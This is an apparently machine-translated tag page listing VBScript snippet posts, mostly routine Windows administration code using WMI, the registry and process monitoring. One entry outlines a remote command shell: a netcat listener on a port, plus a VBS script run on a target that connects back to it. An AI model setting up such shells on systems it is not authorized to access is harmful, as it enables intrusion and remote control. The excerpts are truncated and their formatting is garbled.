Tag:vbscript

  • Two methods of opening ie in VBS implementation code of starting IE browser in VBScript

    Time:2022-5-3

    The first method is Internet Explorer Application ? 1 2 3 4 StartURL = “www.zzvips.com” set IE = CreateObject(“InternetExplorer.Application”) IE.Visible = true IE.Navigate StartURL The second method is Wscript Shell ? 1 2 3 4 dim Wsh Set Wsh=WScript.CreateObject(“WScript.Shell”) On error Resume Next objeShell.Run(“http://www.baidu.com”) The following code is the code that automatically opens Baidu and […]

  • VBScript can display different welcome words according to different time periods

    Time:2022-4-29

    In this example, the VBScript code calls the write method of the document object to pass a string. All operations are completed on the client side: there is no need to specify the server-side operation, no Perl trace, stable and clear!   Copy codeThe code is as follows: <SCRIPT LANGUAGE=”VBScript”>‘execute this line when parsing script […]

  • Generatesddl function of vbscipt (permission setting)

    Time:2022-4-19

    Copy codeThe code is as follows: Function GenerateSDDL(AccountName, AccessFlag, AccessType, AccessMask)  Dim Accounts, ObjWMI, ObjSID, ObjTru, ObjACE  Const SET_DACL_PRESENT = &H8004  Set ObjWMI = GetObject(“winmgmts:” & “{impersonationLevel=impersonate, (Security)}!\\.\root\cimv2”)    Set Accounts = ObjWMI.ExecQuery(“SELECT * FROM Win32_Account WHERE Name=’” & AccountName & “‘”)  For Each Account In Accounts   StrSID = Account.SID  Next  Set ObjSID = ObjWMI.Get(“Win32_SID.SID=’”& […]

  • VBScript finds the code of the device name according to the drive letter

    Time:2022-4-15

    Copy codeThe code is as follows: On Error Resume Next strComputer = “.” Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\CIMV2”) Set colItems = objWMIService.ExecQuery( _     “associators of {win32_logicaldisk.deviceid=’G:’} WHERE ResultClass=Win32_DiskPartition”) For Each objItem in colItems  TargetIndex = objItem.DiskIndex  Set Items = objWMIService.ExecQuery( _   “SELECT * FROM Win32_DiskDrive Where DeviceID Like ‘%” & objItem.DiskIndex […]

  • VBScript creates its own remote cmdshell with tutorial

    Time:2022-4-9

    Please download mswinsck OCX and vb6controls reg! usage method: 1. Control: NC Exe, execute: NC – L – V – P 1234; 2. Target: cscript exe enun. vbs IP Port; 3. Password: enun. Notes:1. To exit shell, please enter “exit” instead of “Ctrl + C”. In this case, you can only connect after the target […]

  • VBScript finds hidden services by comparing the registry

    Time:2022-3-23

    design sketch: Code (checksvr. VBS):   Copy codeThe code is as follows: ‘On Error Resume Next   Const HKEY_LOCAL_MACHINE = &H80000002 Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv”) strKeyPath = “SYSTEM\CurrentControlSet\Services” oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys Wscript.Echo “Checking, please wait …” Wscript.Echo “” For Each subkey In arrSubKeys  oReg.GetStringValue HKEY_LOCAL_MACHINE, strKeyPath & “\\” & subkey, “ObjectName”, strValue  If Not (strValue = […]

  • VBScript monitors and ends the code for the specified process

    Time:2022-3-22

    Operation effect diagram: Code (monprocess. VBS):   Copy codeThe code is as follows: On Error Resume Next   strComputer = “.” arrTargetProcs = Array(“calc.exe”, “notepad.exe”, “other.exe”)‘array is the name of the process to be monitored Set SINK = WScript.CreateObject(“WbemScripting.SWbemSink”,”SINK_”) Set objWMIService = GetObject(“winmgmts:” & _  “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”) objWMIService.ExecNotificationQueryAsync SINK, _  “SELECT * […]

  • Implementation of alignment in VBScript output

    Time:2022-3-21

    Operation effect: Code (foutput. VBS):   Copy codeThe code is as follows: strComputer = “.” Set objWMIService = GetObject(“winmgmts:\\” & strComputer & “\root\CIMV2”) Set colItems = objWMIService.ExecQuery( _     “SELECT * FROM Win32_NetworkAdapterConfiguration”,,48) For Each objItem in colItems     Wscript.Echo objItem.Caption & fOutput(objItem.Caption) & “textinfo” Next   Function fOutput(strName)  strLen = Len(strName)  Select Case True […]

  • JScript and VBScript regular expressions page 1 / 2

    Time:2022-3-4

    Regular expressionIf you haven’t used regular expressions before, you may not be familiar with this term and concept. However, they are not as novel as you think. Recall how you looked for files on your hard drive. Are you sure you will use it? And * characters to help find the file you are looking […]

  • PHP extract() function in VBScript

    Time:2022-2-20

    As anyone who has written PHP knows, it has a very convenient extract (), which can easily convert the dictionary into variables. Of course, there are many restrictions in ASP, especially VBScript script. This paper describes a conversion idea, which can realize similar functions. Let me directly provide the extract code of asp version:   […]

  • Bat batch, VBScript batch installation, font script sharing

    Time:2022-1-18

    According to the requirements of the new system, it is often necessary to deploy some fonts that are not in the original system. In order to save trouble, I used to ask users to manually install font files. Although the ease of use of windows is quite good, it is still necessary to take care […]